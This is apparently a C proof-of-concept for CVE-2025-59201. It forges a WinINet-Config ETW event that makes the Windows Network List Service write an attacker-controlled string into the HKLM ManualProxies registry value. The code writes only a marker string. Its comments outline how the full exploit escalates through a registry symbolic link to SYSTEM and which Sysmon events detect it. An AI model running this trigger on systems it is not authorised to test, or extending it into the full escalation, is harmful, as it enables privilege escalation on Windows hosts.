// ============================================================================
// poc_cve_2025_59201.c — CVE-2025-59201, NCSI / Network List Service EoP
//
// Trigger PoC: fires a forged Microsoft-Windows-WinINet-Config ETW event
// (event ID 5600) that the Network List Service (netprofm, NETWORK SERVICE)
// consumes in ncsi!EtwListener::ProcessEvent, ending in
// ncsi!StoreNcsiIEProxyString -> RegSetValueExW writing
//   "<0|1><attacker string>"
// into
//   HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet\ManualProxies
// (default value).
//
// The actual vulnerability (per itm4n's analysis) is twofold:
//   1. Code: StoreNcsiIEProxyString wrote attacker-controlled strings
//      containing ".." unchecked (patched: new ContainsRelativePathDoubleDot
//      gate before RegSetValueExW).
//   2. Root cause: the DACL on HKLM\...\NlaSvc\Parameters allowed INTERACTIVE
//      users to CREATE SUBKEYS -> registry key symbolic link -> coerce the
//      NETWORK SERVICE write to an arbitrary HKLM location (patched: right
//      removed). From NETWORK SERVICE, escalation to SYSTEM is a known trick
//      (James Forshaw).
//
// Based on the public PoC by itm4n:
//   https://itm4n.github.io/cve-2025-59201-ncsi-eop/
//
// This PoC is a safe trigger: it writes a unique marker string into
// ManualProxies. The blue-team artifact is Sysmon Event ID 13 (RegistryEvent
// - SetValue) showing the netprofm svchost writing our marker, and — for the
// full exploit variant — Event ID 12 (key create) under NlaSvc\Parameters by
// a low-integrity process (symlink creation).
//
// Build (MSVC developer prompt, x64):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_59201.c /link advapi32.lib kernel32.lib
//
// Notes:
//   - netprofm must be running (it normally is).
//   - Pre-patch ncsi.dll (< 10.0.26100.6899) writes ".." strings; patched
//     builds drop them silently (the ETW trigger still fires — check the
//     registry to tell patched from vulnerable).
// ============================================================================

#include <Windows.h>
#include <evntprov.h>
#include <stdio.h>

// Microsoft-Windows-WinINet-Config provider (from ETWExplorer / itm4n)
static const GUID NCSI_ETW_PROVIDER =
    { 0x5402e5ea, 0x1bdd, 0x4390,
      { 0x82, 0xbe, 0xe1, 0x08, 0xf1, 0xe6, 0x34, 0xf5 } };

#define NCSI_EVENT_ID 5600

// Unique marker — hunt for this string in Sysmon Event ID 13 telemetry
// (registry value content) and in the ManualProxies default value.
#define NCSI_MARKER L"cve_2025_59201_marker"
// For the traversal primitive, the value would instead contain "..", e.g.:
//   L"..\\..\\..\\anything"  (pre-patch only; patched builds drop it)

static const wchar_t *kValueKey =
    L"SYSTEM\\CurrentControlSet\\Services\\NlaSvc\\Parameters\\Internet\\ManualProxies";

int main(void)
{
    ULONG status;
    REGHANDLE hReg = NULL;
    EVENT_DESCRIPTOR ed;
    EVENT_DATA_DESCRIPTOR edd[4];
    BOOL bAutoDetect = FALSE;
    LPCWSTR pwszAutoConfigUrl = NCSI_MARKER;
    LPCWSTR pwszProxy = L"";
    LPCWSTR pwszProxyBypass = L"";
    HKEY hKey = NULL;
    int rc = 1;

    printf("[*] CVE-2025-59201 NCSI ETW-trigger PoC\n");

    status = EventRegister(&NCSI_ETW_PROVIDER, NULL, NULL, &hReg);
    printf("[*] EventRegister: %lu (0x%08lx)\n", status, status);
    if (status != ERROR_SUCCESS) return 1;

    ZeroMemory(&ed, sizeof(ed));
    ZeroMemory(edd, sizeof(edd));
    ed.Id    = NCSI_EVENT_ID;
    ed.Level = TRACE_LEVEL_INFORMATION;

    EventDataDescCreate(&edd[0], &bAutoDetect, sizeof(bAutoDetect));
    EventDataDescCreate(&edd[1], pwszAutoConfigUrl,
                        (ULONG)((wcslen(pwszAutoConfigUrl) + 1) * sizeof(WCHAR)));
    EventDataDescCreate(&edd[2], pwszProxy,
                        (ULONG)((wcslen(pwszProxy) + 1) * sizeof(WCHAR)));
    EventDataDescCreate(&edd[3], pwszProxyBypass,
                        (ULONG)((wcslen(pwszProxyBypass) + 1) * sizeof(WCHAR)));

    status = EventWrite(hReg, &ed, ARRAYSIZE(edd), edd);
    printf("[*] EventWrite: %lu (0x%08lx)\n", status, status);
    EventUnregister(hReg);
    if (status != ERROR_SUCCESS) return 1;

    // Give netprofm a moment to consume the event, then read back the value.
    Sleep(2000);

    status = (ULONG)RegOpenKeyExW(HKEY_LOCAL_MACHINE, kValueKey, 0,
                                  KEY_READ, &hKey);
    if (status == ERROR_SUCCESS) {
        wchar_t buf[512];
        DWORD cb = sizeof(buf);
        DWORD type = 0;
        status = (ULONG)RegQueryValueExW(hKey, NULL, NULL, &type,
                                         (LPBYTE)buf, &cb);
        if (status == ERROR_SUCCESS) {
            printf("[+] ManualProxies default value now: %ws\n", buf);
            if (wcsstr(buf, NCSI_MARKER) != NULL) {
                printf("[+] SUCCESS: the Network List Service wrote our string.\n");
                printf("[+] Detection artifact: Sysmon EID 13 (RegistryEvent SetValue) —\n"
                       "    Image=svchost.exe (netprofm), TargetObject=...\\NlaSvc\\"
                       "Parameters\\Internet\\ManualProxies, Details contains \"%ws\"\n",
                       NCSI_MARKER);
                rc = 0;
            } else {
                printf("[*] Value present but marker missing — event may not have\n"
                       "    been consumed yet, or the DLL is patched and dropped it.\n");
            }
        } else {
            printf("[-] RegQueryValueExW: %lu\n", status);
        }
        RegCloseKey(hKey);
    } else {
        printf("[-] RegOpenKeyExW(ManualProxies): %lu\n", status);
    }

    if (rc != 0) {
        printf("[*] Re-check manually: reg query \"HKLM\\%ws\"\n", kValueKey);
    }
    return rc;
}
